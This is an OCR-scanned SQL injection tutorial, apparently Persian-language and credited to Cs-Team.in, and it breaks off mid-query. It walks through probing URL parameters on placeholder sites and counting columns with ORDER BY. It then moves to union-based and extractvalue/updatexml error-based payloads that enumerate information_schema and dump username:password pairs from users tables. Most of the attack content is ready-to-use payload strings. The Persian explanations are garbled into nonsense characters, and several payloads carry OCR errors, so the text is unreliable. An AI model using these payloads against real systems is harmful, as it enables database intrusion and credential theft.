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m 2015 Top Threats 2013 Top Threats

Excessive and Unused Privileges Excessive and Unused Privileges
2 Privilege Abuse Privilege Abuse
3 Input Injection SQL Injection
4 Malware Malware
5 Weak Audit Trail Weak Audit Trail
6 Storage Media Exposure Storage Media Exposure
7 Exploitation of Vulnerabilities and Misconfigured Databases Exploitation of Vulnerabilities and Misconfigured Databases
8 Unmanaged Sensitive Data Unmanaged Sensitive Data
9 Denial of Service Denial of Service
10 Limited Security Expertise and Education Limited Security Expertise and Education
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Input Injection(Formerly Sql Injection)
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Storage Media Exposure
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Exploitation of vulnerable,Misconfigured Databases
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Dbasel

Table Name : tablel
columnl column2 column3 column4d
row0 datal rowD data2 |row0 data2 |row0 data4d
rowl datal rowl data? |rowl data2 |rowl data4d
row2 datal row2 data?2 |row2 data3 |(row2 datad
row3 datal row3 data?2 |row3 data3 |(row3 data4d
rowd datal rowd data?2 |rowd data3 |rowd datad
Table Name : students
id f name I name roll_ no
1 Emily watson row(D data3
2 Deniel Robertson rowl data3
3 Albert camus row? data3
4 camaline bose row3 data3
5 serah semuel rowd data3

PP ‘)tablel )o 09.’?9.0 ul.C)Ua‘ SQLQJ Ln as w‘ U"‘ ooLw 6)555 g_i.’w‘ 09:?3.4’ yl.’ Js«.\?

25 S5 b pile S
select * from tablel

] gy O yg0 a4 o)l Ao aS

columni column2 column3 column4

row0O datal |row0 data? |[row0D data2 |row0 datad
rowl datal |rowl data? |[rowl data2 |rowl datad
row2 datal |row2 data? |[row2 data3 |row2 datad
row3 datal |row3 data? |[row3 data3 |row3 datad
rowd datal ([rowd data? |rowd data3 |row4d datad

ooliiwl puj yetws 3l o Gialei Lo a ) Yogiw o) gt polie palyse Lais 51 e sl
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select columnl,column2 from tablel

1l (oo ) JSE A ) setes (29> &S

columnl column2

row0O datal |row0 data2
rowl datal |rowl data2
row2 datal |row2 data2
row3 datal |row3 data2
rowd datal |row4d data2

Wlo ) be ey |y celid=1 oS lil Lakd o5 g (o (5555 S0 melssmes g
il 25 Ojg0 ale 535 a5

Select * from students where id=1

1l (oo ) IS8 4 398 Hows (295

id f name |_name roll_no

row0_data3

1 Emily watson

Wl 5y Ogo wle (6545 a5 Wils 5y 1, cuvicamalinel i, Ll

Select * from students where f name='camaline'

Al (oo 25 SIS 4 jetes (29,5

id f name | name roll no

4 camaline bose

row3 data3
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o Plsz Lo &S5 ools ol (65) 6455 95 4z &5 el b LS (gejl wiz b Jsl pad o
Lo ools olGh 55, 6555 E9 4z &5 &5 dueid g (o0 ) Slygtws 035 b Jle sl awo

select * from table_name where id="1"

select * from table_name where id=""1""
select * from table_name where id=(1)
select * from table_name where id=("1")

select * from table_name where id=(""1"")

Spdy oo o0 haid bo (5355 &5 progd (o0 O allie Dl g wsls Dl YU (5 555 (eles ST
:a50lo g\9_1> Las e (6,588 ;\ Lol

select * from table name where id='1'
select * from table name where id="1"
select * from table name where id=("1")
select * from table name where id-= ("1")

Lo b g il oas 00,5l 25 Jgaz jo a5 & ylo 5L Sledlbbl (6 s U g slo iion a1 51 3
ol Ay Cllae jo (g yiden pgd B oS o S

Comment————hame

-- . MySQL Linux Style
-+ . MySQL Windows Style
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# . Hash (URL encode while use)

--+- . SQL Comment
;%00 . Null Byte
) . Backtick

oS el Wb Lo aS ol ol ol oo 45 s 3u> ol SQL Injection les Lsqll el o
s b el pds ol o oolo oSS0 Ul puiass
Moz dolol gliwly jo ile a5 40 5ol oo |y Dglate (slo 0ols oSGL jo glaie sl gl x| jo

Sy olo aseis Ll jloolainl b lgie 58 1) oolo oL g9 g a5 05 o (6 s S8

MySOQL Error Style:

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to
use near '\"" at line 1

MSSOQL ASPX Error:

Server Error in '/* Application

MSAccess (Apache PHP):

Fatal error: Uncaught exception ‘com_exception' with message
Source: Microsoft JET Database Engine

MSAccesss (11S ASP):
Microsoft JET Database Engine error '80040e14"

Oracle Error:
ORA-00933: SQL command not properly ended

ODBC Error:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
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PostgreSOL Error:
PSQLEXxception: ERROR: unterminated quoted string at or near
""" Position: 1

or

Query failed: ERROR: syntax error at or near

"""'at character 56 in /www/site/test.php on line 121

MS SOL Server: Error:

Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string

B s b aayss oo Vb 6l ol 4 45 0uiSian o g malos Uns 5 y903) 51 ooliasl b Jl>

-0 l; w‘ ).)J.J w‘ L ool ol.i’l.’ as [V*AQ"L’
L oo,lo 0929 Lo Culung ools oli,l., 30 G pd coml bl &S napds pulgdis Lo Jle 6l

bl oo 00,8 ooyl S as e 08 s

n "

s b el pds ol Lo 00ld olGL L1 aS paagds pudled (o0 15 sl ST 5l oolainl b Lo

Reaction if its Intiger Based Injection

23 . It should cause error or no output

" . Should cause error or no output
23 or 1=1 : Any Output should come but may be different output
23 and 1=1 : Same output should come

23 and

False : No output

23 and true : Same Output
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http://fakesite.com/report.php?id=23
http://fakesite.com/report.php?id=23

. Same output. | used --+ to comment, later i Il show how to

23--+ " know which one to use
23 and
- . Same output

oals lis bo 4y Jb> amiao b m0,95 0 (559, 4 ST 8,0 (69, 398 o Oyle 0,5 i b
oald oL o ol ol saims lid vl 0gg w4 Lo ol lgize 0 aS S>eS e o Lol
s:LSingle Qoute Based g4 5l b slo 5,555 45 (69,150 (sl gl iy ol Lo 5,15

N b cal pds ol Lo oolo oli,b LA“\SA.;SGA&SASLQQJ.)‘} Jgo=>

Reaction if its Single Qoute Based Injection

23' . It should cause error or no output

23" : No error Same output

23'or'1'='1  : Any Output should come but may be different output
23"and '1'='1 : Same output should come

23" and false--

N : No output
33 and e g, e Output

Sl Goyy a5 duegd olg oo ols aloul YL slo Joddl (oS 5l (SO Sl a5 Shge 5o

ol single quotes s

Cs-Team.in




05 Jas 5 Jpaz b 51U

Reaction if its Double Qoute Based Injection

23' . No error Same output
23" . >It should cause error or no output

23" or "1"="1 : Any Output should come but may be different output

%:13..:..1 At . Same output should come
2:;3 and false- . output
33 and true-- . qome Output

2ok o Double Qoute go 5l L oS 5,5 45 duegd ol oo
5 Jie 355 583 STl

select * from table name where id - 23)

1,5 0,8bes pj Joozr Gub S

Reaction if its Intiger Based Bracket enclosed
Input "
Injection

23 . It should cause error or no output

" . Should cause error or no output
23 or1=1 : Output should come but may be different output
23and 1=1 : Output should come but may be different output
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23 and false
23 and true

23--+

23)--+

23) and false-
-+

23) and true--
+

: No output
. Same Output

. Error or No output. Here you can understand that any
" Bracket is used

. Same output

: No output

. Same output

~wlIntiger type with bracket Queryss ;I Lo 5,5 45 aogd oy

5 Jie 5555 0 51 Jl

select * from table name where id=(23")

10,5 Jos pj Jgax b (i Sl

Inout Reaction if its bracket enclosed Single Quote based
P Injection

23'

23"
23'or'1'="1
23"and '1'='1

23" and false--
+

Cs-Team.in

. It should cause error or no output

: No error Same output

. Any Output should come but may be different output
. Any Output should come but may be different output

: No output or error




29 Ene W o output or error

+

23" and

Ealse-—+ : No output
33) and true-- . ¢ me Output

23") or true--+ : Output will come but may be different

bracket enclosed Single Quote based & 50 4 L oS 5,5 a5 8l ,0 lg

! input query

25 655 o b g S A Jle o

select * from table name where id= ("23")

12,5 Joe 2 Jour &b
Reaction if its bracket enclosed Double Quote
Input .
based Injection
23' : No error Same output
23" : Error or No output

23" or "1"="1 : Any Output should come but may be different output
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x e . Any Output should come but may be different output

ll1l|:ll1

33 andfalse- . nq output or error
ES and true-- . g output or error
23") and

False-—+ : No output

33 Jandtrue-- . gome Output

23") or true--+ : Output will come but may be different

bracket enclosed double Quote based input o ;L 5,5 45 wepd oy
Ssles query

Ll 5 e g 5l i axSqli o> o lcomment o K ol enlys o aslsl o

NP = o.bli:.'i.....:‘sqli o la cowlS LS‘)'.’ ) C"‘) r’)'é )‘ Jl_._,o 6‘)-"53-“‘ = oolaw!

Comment———ame

-- ; MySQL Linux Style

-+ ; MySQL Windows Style

it ; Hash (URL encode while use)
--+- ; SQL Comment

;%000 ; Null Byte

) ; Backtick
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ool CuslS glite slo Khae 31 a5 ol a8y ¢ Lo £45 4 dins Lo &8lg 50

soliiul(——) coslS 5l ol ooy aigsphp oLy sl bo &8, s 5T Lo ylaie a5, 0usS o0
2 2R sl e b pleie 4

n "

A Gl SaS 5 Jea mS colaiinl b (6,105 CiLlS g9 x5l paiins palyse a1 (6l s

I :I] |etng|ves same Output as 23 was giving

http://fakesite.com/report.p . Its intiger type injection and '--' can be
hp?id=23-- " used as comment

http://fakesite.com/report.p . Its Single quote type injection and '--' can
hp?id=23'-- " be used as comment

http://fakesite.com/report.p . Its Double quote type injection and '--'
hp?id=23"-- " can be used as comment

http://fakesite.com/report.p . Its intiger type with bracket injection and
hp?id=23)-- " '--' can be used as comment

http://fakesite.com/report.p . Its Single quote with bracket type
hp?id=23")-- " injection and '--' can be used as comment

http://fakesite.com/report.p . Its Double quote with bracket type
hp?id=23")-- " injection and '--' can be used as comment
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http://fakesite.com/report.php?id=23
http://fakesite.com/report.php?id=23

Sl FelS g5 ax las cdb s Sy @ oly (o0 398 Jga llae g s g (yges) Slibee b

5l ol oS ols (S glBY Sl e g 1> e y0sql 55 Slidee sl Lo S 0
1-Balance
2-Inject

3-Commenting

il 5y O y90 4 a5 L internal query ;o s e
n "
Dyl oo patine Lo O 5,55 gginject iz o

P o o b S jeb 4 aS ol welgs askin b (6,105 cullS g4 Bl w0 g

13,5 S0 1y o8l Yin! poede g

http://www.fakewebsite.com/report.php?id=23' order by 1

Example URL Injection

Balance
Comment

B Sl e e T Ty o oiw o)led slasl 4598 45 ety meolym (o0 om0 50
o0 1y 25 J9iz 005 (o0 (PSS S50 e Ll porde &5 0y (o0 1) Jgo yo (Jlie o]
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Dbasel

Table Name : tablel
columni column2 column3 column4
row0 datal |row0 data2 |row0 data3 [row0 datad
rowl datal |rowl data2 |rowl data3 [rowl datad
row2 datal |row2 data2 |row2 data3 [row2 datad
row3 datal |row3 data2 |row3 data3 [row3 datad
rowd datal |rowd data2 |row4d datad [rowd datad
Table Name : students
id f name | name roll_no
1 Emily watson rowD _data3
2 Deniel Robertson rowl data3
3 Albert camus row2_data3
4 camaline bose row3 data3
5 serah semuel rowd data3
FeeSes Sl 1) 205 (5595

Select f name,] name from students where id=1

bl (oo 5 SIS 4 aS cal )V b plp ol oS s ) pased Jueld g sl Lo o

f name | _name

Emily watson

oS 5 &lunion l qeues s |, >g,5union statement ;i colicw! b punlyses Yl
35_“ P Y ‘575)-7 )0 ® L’ LS)';’?S R

bl oo g S5 4 esltinion query & le G e ylgie 4
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Select f name,] name from students where id=1 union select
f name,] name from students where id=2

Oiled (9,5 )0 908 (o oS P el |y e Jo j0 alipd 6595 90 (9 PSS el &S

DO s

il oo ) S5 4 (25 oS

f name | name
Emily watson
Deniel Robertson

a5 Cal opl 0,18 3g>gc0NCALION b 405 wigw Slidae 5l ooliiwl sl o a5 (ol a5

alio b g olaai )0 b (6555 (29,5 45 Wine Wigey o8l |, (5355 iz Silej Lsunion
) 6P S Jle plyie 4 il

Select f name,]l name from students where id=1 union select 1,2

ol oo py K0 4 (g5

f name | name

Emily watson
1 2

20,5 INject 1) 53 5,55 ol oo Do a5
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Select f name,] name from students where id=1 wunion select
'hello','bye’

Al (o0 ) S 4 38 6P eSS

f name | name

Emily watson

hello bye

osalive |, 00ls oKL 5500 ol g ools ol AL o5 (oo SeaSE e 5l ookl b Jlie lgie &
0,5

Select f name,] name from students where id=1 union select
database(),user()

Sk (o0 ) S 4 ol (29 s oS

f name | _name

Emily watson
fakedbl fakeuser@localhost

g ) SO ]y 093 (6595 L STAS cul pl oS azgi ol b o5 SIS 5l (S0
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Select * from students where id=1 union select f name,] name from
students where id=2

oS oo odoline U g 09 oo 00l inlei bo 4y (29,5 o

"The used SELECT statements have a different number of columns"
&S plo S o gy b g bl Lo 6598 Jol Gidu o &5 sl pl o 9,0 (pl oS
S oS oo ) SolPls plig pl b« 5355 pgs A )3 (Jg wdl (oo BY plislass
15,55 madlem jo,l a4y o all o Y liolass

Aol 0.0 gdus osliinl L cosinject >g,5 L sbly 9,5 S 5 sl union select ;|
S ooliial b a5 vl 1l (ysis Slowd Gl oo 45 08 eudlss 5, dg, St ol b bxsl Lo
28 o0 plel | sl order by o kS & Le

oo 1) b ew g law slowd puilyd s Cewl ol 3 Joa> jo a5 SuST ol 5l eolazal L Lo

S

ey ow

select * from students order . It will output all the rows and sort then by
by 1 " the first column which is id

select * from students order . It will output all the rows and sort then by
by 2 " the second column which is f_name

select * from students order . It will output all the rows and sort then by
by 3 " the third column which is | _name
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select * from students order . It will output all the rows and sort then by

by 4 " the forth column which is roll_no

select * from students order It will create an error "Unknown column '5'
by 5 " in'order clause™

select f name,|_name from _ It will output all the rows and sort then by
students order by 1 " the first column which is f_name

select f name,|_name from _ It will output all the rows and sort then by
students order by 2 " the second column which is |_name

select f name,|_name from _ It will create an error "Unknown column '3’
students order by 3 " in'order clause™

45@1\‘La)h.,;ol_x.a_';jml.gsa\‘L:aog;wdmdmggbsopgs,o‘)}ngtQQA_?yb
W PV VA FB ST ol °°L5-'1-~‘l-3‘_5'4->‘)4-3

25 S50 Jls Glaie @y ¢ oS Slles (058 £S5 (g5, |) leosS gl peplsS (0 S
w‘ 03.?9.0

n "

oS oo s |y pdy Canl (6555 98 ) STl eolwl L L oS

Quey o

http://fakesite.com/r |

eport.php?id=23 Simple Output from Web-Application

Error "You have an error in your SQL syntax;

http://fakesite.com/r .  check the manual that corresponds to your
eport.php?id=23' ' MySQL server version for the right syntax to use
near "™ at line 1"
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http://fakesite.com/report.php?id=23
http://fakesite.com/report.php?id=23

Error "You have an error in your SQL syntax;
http://fakesite.com/r . check the manual that corresponds to your
eport.php?id=23" MySQL server version for the right syntax to use

near "" at line 1"

while testing internal query if error comes with

Qggr{/;iﬁ?gi;gm/r _ both single and_ dguble qoute then the i_nternal

and tfue ' query could be intiger based, so now testing for
that. It Gives output

http://fakesite.com/r

eport.php?id=23 ; No Output

and false

S$59S £8 45 pm b o0 )0 peiSgol Lxinl b aS Sl g 00l ploxil sl cond 5l oolainl b oS
2oL o Intiger Based Query L

ol Wb o9 ax 5l (6,105 CollS go5 aS puily eoles o V>

ey ow

Backtick type commenting
(Error)

http://fakesite.com/report.php?id=23-- . Error or no Output

http://fakesite.com/report.php?id=23"

http://fakesite.com/report.php?id=23--+ Same Output like 23 was

giving
http://fakesite.com/report.php?id=23  or . No error but some different
true--+ "~ output
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Bl b opissS JKw b g canliNIZET g9 5l Lo (63959 £95 45 ausls (o Lo L5 slxnl

€5 5l 6 )l CuklS a5 puogd o YL slo 25,5 4 dz gl Licw] o0is jgaste (pindgS
o550 51, Sledbl § ool UNION [ giws 5l ooliiwl b audlys o bo sy al> o 0 .0l a(——+)
asorder by SCass 1 eoliiwl b a8 puslos g)la g olans b ,ISG1 (gl puiS 2l Sl ools

) Jooz e 0 (o0 I 9, b (st dlaai a5 (903l b g 02285701

URL Injection Internal Query Output

http://fakesite.com/report.php?i Select * from tablename Error (then

d=23 order by 10--+ where id=23 order by 10 reduce)
http://fakesite.com/report.php?i Select * from tablename Working
d=23 order by 1--+ where id=23 order by 1 (then increse)
http://fakesite.com/report.php?i Select * from tablename \(/t\ét)er:lng
d=23 order by 5--+ where id=23 order by 5 .

increase)
http://fakesite.com/report.php?i Select * from tablename Error (then
d=23 order by 8--+ where id=23 order by 8  reduce)
http://fakesite.com/report.php?i Select * from tablename Error (then
d=23 order by 6--+ where id=23 order by 6  reduce)

uIllOIl G )‘ oolaul La Wwba Lo 6[@ UW Slows as fw..s.al.’ P )° Yb Jﬁu\} Lﬁ""a
RS (50 QLIS (755 50 5 e (o0 Sty o2 9) O3 O niSelect

http://fakesite.com/report.php?id=23 union select 1,2,3,4,5--+

il 3 S8 4 o) o295 &S
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http://fakesite.com/report.php?id=23
http://fakesite.com/report.php?id=23
http://fakesite.com/report.php?id=23
http://fakesite.com/report.php?id=23
http://fakesite.com/report.php?id=23
http://fakesite.com/report.php?id=23
http://fakesite.com/report.php?id=23
http://fakesite.com/report.php?id=23
http://fakesite.com/report.php?id=23

columnl |column2 column3 | column4 column5

anydata anydata anydata anydata anydata
1 2 3 4 5

doli s Jawgi o (6 555 10,5 dgasme o Jdo ¢ ai cols les 2,5 j0 sz STl o

o2 ioled 1) Ll 15 sle SaST 3l eolainl b puilyy co Lo el wilgy o gl

and 0 union select 1,2,3,4,5--+

and false union select 1,2,3,4,5-

union select 1,2,3,4,5--+
union select 1,2,3,4,5--+

union select 1,2,3,4,5--+

&& 0 union select 1,2,3,4,5--+

2 Soge daS All e e SOl 2 @S colasl YU sl 555 5l Sl L S

(ew|

1 2 3 4 5

Cs-Team.in



http://fakesite.com/report.php?id=23
http://fakesite.com/report.php?id=23
http://fakesite.com/report.php?id=-23
http://fakesite.com/report.php?id=23000000
http://fakesite.com/report.php?id=null
http://fakesite.com/report.php?id=23

has pls giw S ST ogh cols isled bo g axio o o et (ol soled Wb a0 aS
a5 Cewlf gt (] S 0gs AT iy 09y 0l adtiee ol Jlade 9 Vgt Dl ol olo ol
2Bl (pienST o0 Sou (nl Slp g Aol &5 1S (o0 A g S ST )l (IS

@....S < oolazw! ).;) )5;;,..;0 )| wdsm LJ"‘ (uo) )50) u,u.ul.’ st.a Lo 9 S|

p...SL;ooli.’Guusw)w)bijésn)‘muuwbc&.&L).")‘OOLO...M)‘L

S (o8 Sz gy el I et g 00l S gl O (o s Lhello] S o8]
Golsm b SiSS ol il 00,5 soliuimysql_real_escape_string ;| s asb ;S
o2 NS g3 5555 IS s § 05 ok 358 4y Tl 1 0 00l jolie il Lo g Cani Lo

) Dyge 4 e | S iy U

union select

0x68656¢6c6f31,0x68656c6c6f32,0x68656c6¢6f33,0x68656¢6¢6134,0X
68656¢6¢c6f35--+

L e 513 10X Jlopwsl Ko Jlade jo 51 JB YL (6555 jo cablo Jlai jo Wl a5 ol i
S I 53,50 S8 U g @9 (s 5 95 A 090 O el (o0 STl ool
o b Yl dino ool oled Lo 4y adg &S (g ladeyn 5 023,85 Iy 9 o (i Sl (loe
l, R SleMbl &l 0ol 00,5l 3y Jegoz 0 aS b pusio g 2,8 g é"?‘ 3l oolauwl b r"“"‘ﬁ"
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Variable/Function . Output

@ @hostname
@@tmpdir

@ @datadir
@@version
@ @basedir
user()
database()
version()
schema()
UUID()
current_user()
current_user
system_user()

session_user()

@@GLOBAL.have sy .

mlink

@@GLOBAL.have_ss
|

Cs-Team.in

Current Hostname
Tept Directory

Data Directory
Version of DB

Base Directory
Current User
Current Database
\ersion

current Database
System UUID key
Current User
Current User
Current Sustem user
Session user

Check if Symlink Enabled or
Disabled

Check if it have ssl or not

odLo.».w‘Lach w“nwuwo}w@od‘dwbuﬁd@wdryw :SLQJLMu‘s.A.CdJ




3590 G955, Habo e g HIA5 0590 5392 9 ) (3559 9 00lo STl el YU slo paite g wolgs )]

09 o0 Cawd 4y sle (6 565l eslaiul b g, s

To get the Current Database Name

union select 1,2,database(),4,5-
-+

To get the Current Version

union select 1,2,version(),4,5--
+

To get the Current User

union select 1,2,user(),4,5--+

To get the Temporary Directory Path

union select
1,2, @@tmpdir,4,5--+

b ol a5 woles gl seil ools oL 51 1, Sledlbl Wb L aS sapes, (sl als o 4y Cugs Yo
3,90 S 595 ol jo.8giue axsSUNion based Suss x| jo a5 el LIS pl sl p ool

b Slgie 4 Col ois 43S | INJECE 0976 o § ol o0 aiS™ L3
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Query : Select table_schema from information_schema.schemata

Injection union select
1,2,version(),4,5--+

ol o L] j0 aSams o lid Lo aille (slo o0ls olSL 6L 5wl o INjECtion () a5
) e G lads g aons Gl b ay e Hlaw pled a5 ol aliigi |y aul p (g 9b g aeli
S5 STy 0,5 eolatwllimit oS aels 51 oylg5 o Cosgame (pl sl lp a5 dans lis L

Jle $lp pepds Gioled (29,5 00, b e

Select table_schema from information_schema.schemata limit 0,1--+

Select table_schema from information_schema.schemata limit 1,1--+

Select table_schema from information_schema.schemata limit 2,1--+

Select table_schema from information_schema.schemata limit 3,1--+

N.HS C‘)'?""M" 9) oalo olial.a L)‘ O ‘b}a).o J5|J.> ‘SQLQJ M‘g} &P
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http://fakesite.com/report.php?id=-23

: Select table_name from information_schema.talbes where
table_schema='databasename’

: Select table_name from

information_schema.tables where table schema=database()

- union select
1,2,table_name,4,5 from information_schema.tables where
table_schema=database()--+

S (o0 So9l @e 9y J9oz o sla gt pU e oS o gy o Jgam pb aSl 5l o

: Select column_name from information_schema.columns
where table_schema=database() and table _name="tablenamehere'

: union Select
1,2,column_name,4,5 from information_schema.columns where
table _schema=database() and table _name="tablenamehere’--+

5 S oolatwl Mt LSS lon 51 auiles oo 0ls 45,1 b slas Ul Yiinjection 31 a5
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union select
1,2,column_name,4,5 from information_schema.columns where
table_schema=database() and table_name="tablename’ limit 0,1--+

union select
1,2,column_name,4,5 from information_schema.columns where
table_schema=database() and table_name="tablename’ limit 1,1--+

union select
1,2,column_name,4,5 from information_schema.columns where
table_schema=database() and table _name="tablename’ limit 2,1--+

union select
1,2,column_name,4,5 from information_schema.columns where
table_schema=database() and table_name="tablename’ limit 3,1--+

aS Sledb| W“"‘y LSAYL‘> fv-')b)-*-’ ‘) LQ«-" LSLQ O 9 Jg‘d& p.w‘ 9 oslo ol.i,L) M‘ L ul.al.’ O
U)WQASMSC‘W“)W‘ od‘do&b)ongbjﬂdJJoyﬁs S| uLO)Jaédja.A

S ge el 5

: Select columnl, column2 from tablename

: union Select
1,2,concat(columnl,column?2),4,5 from tablename limit 0,1--+
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union Select
1,2 concat(columnl column2),4,5 from tablename limit 1,1--+
union Select

1,2 concat(columnl column2),4,5 from tablename limit 2,1--+
union Select
1,2 concat(columnl column2),4,5 from tablename limit 3,1--+

w0 ples! 4 union based SasS Lrl o

.o oo Ll Death Row Injection oSG b aolol o
g 950 sod 03ld Lis e a4y (6555 (29, oled AT S oo oolaiul  Blae o STyl
gl oo 03ls Glaled Lo 32,55 (5,355 Jsl Ceond Laitd
8PS 5 Jbe sl

"Select username,password from users;"
u.u.vl.o.' (9 4 )ﬁb.‘> L.§>9)> 45».!‘ 4 Ao }“?;05..» ° oald u.u.vl.o.’ L Ls‘)" > ))9.' u.w.J 1ags
Death U 5)loe as,0Ve 1o a5 0,5 colatwl alize slo SST 51 ol oo 95 (0 00l
oS oolatil STl 5l sl 5 ewien a>15.ROW Injection
e 03l laled Lo ay i udsl Ladd 05 6365 o Jlee

Select username from users;

S5 Jlie ylgie 4 a8 oS solaulimit 5l ool vsp 90 1, Cudgame pl pulesu Lo STV
D98 g0 Dyg0 ol 4 le

Select Username from users limit 0,1;

S o0 Sobw ool ) 69, 1) SSS pl g e LS Jle SO >
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www.vuln-site.com/index.php?view=43
www.vuln-site.com/index.php?view=-43 union select 1,2,3,4,5--

www.vuln-site.com/index.php?view=43 union select
1,2,concat(username,0x3a,password),4,5 from users--

drgie o w03 oo ialed 1y (Il b Lol amo Giales b sla abos b Lo (5355 Ll 5o
w5 solasDeath Row Injection oS 5l sl Y| a5 58 oo

ls plxil 1) )5 cul Gle (o0 225 Sy90 2 a8

- www.vuln-site.com/index.php?view=43 union select
1,2,concat(username,0x3a,password),4,5 from users limit 0,1--

: www.vuln-site.com/index.php?view=43 union select

1,2,concat(username,0x3a,password),4,5 from users limit 1,1--(2nd row)

- www.vuln-site.com/index.php?view=43 union select
1,2,concat(username,0x3a,password),4,5 from users limit n,1--(nth row)

Jsb ol ISal asl ol Le gl s ol 481 45wl il ol o L] 45 45 (gl 455 Lol
SUb Query)| u‘ﬁ.«.&uﬁ 05.»4.: )J oolw b )lS diu‘ LS‘)" w‘)s a8l LS‘ ij.a 9 KWAY <
: JL.A LS‘):"M-:‘S oolaul

select group concat(username,0x3a,password,0x0a)from (select
username,password from users limit 0,100);
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o Gisled (g0l o BYe e BY oo lod 0 398 Jlin 0 a8

www.vuln-site.com/index.php?view=43 union select
1,2,group_concat(username,0x3a,password),4,5 from (select
username,password from users limit 0,100)a--

www.vuln-site.com/index.php?view=43 union select
1,2,group_concat(username,0x3a,password),4,5 from (select
username,password from users limit 100,100)a--

www.vuln-site.com/index.php?view=43 union select
1,2,group_concat(username,0x3a,password),4,5 from (select
username,password from users limit n,100)a--

S0 1y 095 4 pgate o w10 g 1w )85 (g0b 5 S8 Wl g s Ao 3L o ol ol Ll
Codgazwe lylagroup concat (e oS oo colaiwlCast U 1L |5 ooy sl
ol lply BU ple sl 4 wuiled oo )01 51 oolainl b Lo g.0ll so (6 2ST,8Y VY

SELECT CAST(GROUP_CONCAT (username,0x3a,password,0x0a)
AS CHAR(2048)) FROM users;

25 655 ol muls (oo muS gl xS G ygo a4 | polie ool peplesy Lo ST >
m.:j OQLO.«.MJ‘ )’.:J
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SELECT CAST(GROUP_CONCAT (username,0x3a,password,0x0a)
AS CHAR(2048)) FROM (SELECT username,password FROM
users LIMIT 0,2000)a;

il 00l 00,5l JolS B j50 2 6555 B 0978 p JUe o

www.vuln-site.com/index.php?view=43 union SELECT
1,2,CAST(GROUP_CONCAT (username, 0x3a,password,0x0a) AS
CHAR(2048)),4,5 FROM (SELECT username,password FROM
users LIMIT 0,2000)a--

www.vuln-site.com/index.php?view=43 union SELECT

1,2,CAST(GROUP_CONCAT (username, 0x3a,password,0x0a) AS
CHAR(2048)),4,5 FROM (SELECT username,password FROM
users LIMIT 2000,2000)a--()

www.vuln-site.com/index.php?view=43 union SELECT
1,2,CAST(GROUP_CONCAT (username, 0x3a,password,0x0a) AS
CHAR(2048)),4,5 FROM (SELECT username,password FROM
users LIMIT n,2000)a--

0 4y |y Xpath injection using ExtractValue «CosG aolsl jo

Qb omysql ools oSG sextractvalue U sq, L Lol o el jo
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sl isw 2o u»)oi Sy Sbisl cwl Oyle as il ol 9)xpath e b ol o
XML s G oglee

el o Jle Jieextract value ob sla g9,

ExtractValue('xmldatahere', 'xpathqueryhere')
pathquery

i gdie 4190 15 (las b ail ol ogline jobo 4y LXpath 5557 ST Lxtsl jo a8

XPATH syntax error: 'xpathqueryhere'

Slole i Sl G 5l oan j0%eaS eolaiulinjection go cpl 5l ol > aw o wuls V>
g 4ol g 0985 03ld uled Lo dy (29,5 g g pedy planil (LS ate L) 055 8,5 el

oli.‘,‘li:\.ggm_;fsaool_é;.wl_uawl dalys ol jo oS S sy ]y b (699,9 Coro
.@,,.;Ssaég.é.;oolo
25 P8 5 Jle sk a

www.fakesite.com/index.php?view=-35" union select 1,2,3,4,5--

WS oolazsiunion select s | vly o glogh ood ool plis g5 mee b &
oS oolazwixpath injection ;| b a5 el Ll oyl

Gl A5 g oo A gin (s Cowl oul M;Jﬂor&o&s}‘wdww‘Yb Jtwe o
aabstring)as, go 5l b b

bl ) JSO 4 bo (6555 amed )0

select path from pages where view=""<our_input_here>" limit 1,1;
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Sy S L g9, 9, wileaXpath injectiongs I a5 o G5 5l g el (e

www.fakesite.com/index.php?view=-35" and
extractvalue(0x0a,concat(0x0a,(OUR QUERY HERE)))--

S5 a9 bo (8255 paeted 95 Glesgs Hla5 0590 00ls oL el pulese ST Jlie (6
:09.3 M‘? ).’)

www.fakesite.com/index.php?view=-35" and
extractvalue(0Ox0a,concat(0x0a,(select database())))--

D98 oo 2 IS A b G, el cwds 1) Joloo sl peplese 31 >

www.fakesite.com/index.php?view=-35" and
extractvalue(0Ox0a,concat(0x0a,(select table _name from
information_schema.tables where table schema=database() limit

0,1)))—

SYob Sledbl vl o be SIS ol jo opl &5 cl cpllimit ) oolal Lo YU Jlis o

il 3 Ohgo b o Jgu puol 457 0l aseie YU 30,5 40 b Glgie @

Cs-Team.in




Posts
Assets

Banner
Links
Users

oS log 1y 095 183 8 90 Slo (giw puilgie 1 G255 5l eolatnl b Lo e

www.fakesite.com/index.php?view=-35" and
extractvalue(0x0a,concat(0x0a,(select column_name from
information_schema.columns where table schema=database() and
table_name="users' limit 0,1)))--

U"‘ 65'9 d’))" L5>5)'> 4.?:.».;..» aS.Cewl 00l ‘aL?Lﬂusers J9d.> SS9y &.99'9 L.9"))" as M °

id
username
password

ﬁ,...S w‘d C){.L:.«a‘ L La C‘).?w‘ ‘) ).b.o Sy90 03l ol.i:l.’ o cuaa.a).o g.:LC)Lb‘ p.u‘ﬁ..uuo Lo B

ol 3 1y sle 5e0 olawd cal p3Y SISO gl Lo aS Casl (pl 510 0929 aF  S>eS 4SS Ll

m.a.&S oolaz! ) J:> o‘) )| rg,...:‘g.v < )l&ul 6‘)‘.‘ as
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www.fakesite.com/index.php?view=-35" and
extractvalue(Ox0a,concat(0x0a,(select count(username) from
users)))--

oS calo |y uslgsie a5 Sledbol 5 5,5 5l eoliiwl b ol (o0 ;31 50

www.fakesite.com/index.php?view=-35" and
extractvalue(Ox0a,concat(0x0a,(select
count(username,0x3a,password) from users limit 0,1)))--

xpath SCosS 51 eoliw! ST ool & asliio gl oSS )50 51 (S
.Jwlwsinjection using update xml
S5 5 S5 nl o b 3,8 Ol B J2le o b hid g )l gl 4l oS
gl |, L8

\-www.fakesite.com/index.php?view=-35" union select 1,2,3,4,5--

2-select path from pages where view=""<our input_here>" limit 1,1;
3-www.fakesite.com/index.php?view=-35" and
updatexml(null,concat(0x3a,(OUR QUERY HERE)),null)--
4-www.fakesite.com/index.php?view=-35" and
updatexml(null,concat(0x3a,(0x0a,(select database()))),null)--

Output : XPATH syntax error: ':database name_here'
5-www.fakesite.com/index.php?view=-35" and
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updatexml(null,concat(0x3a,(select table_name from
information_schema.tables where table schema=database() limit
0,1)),null)--

Output : XPATH syntax error: ':table name_ here'
6-www.fakesite.com/index.php?view=-35" and
updatexmli(null,concat(0x3a,(select column_name from
information_schema.columns where table schema=database() and
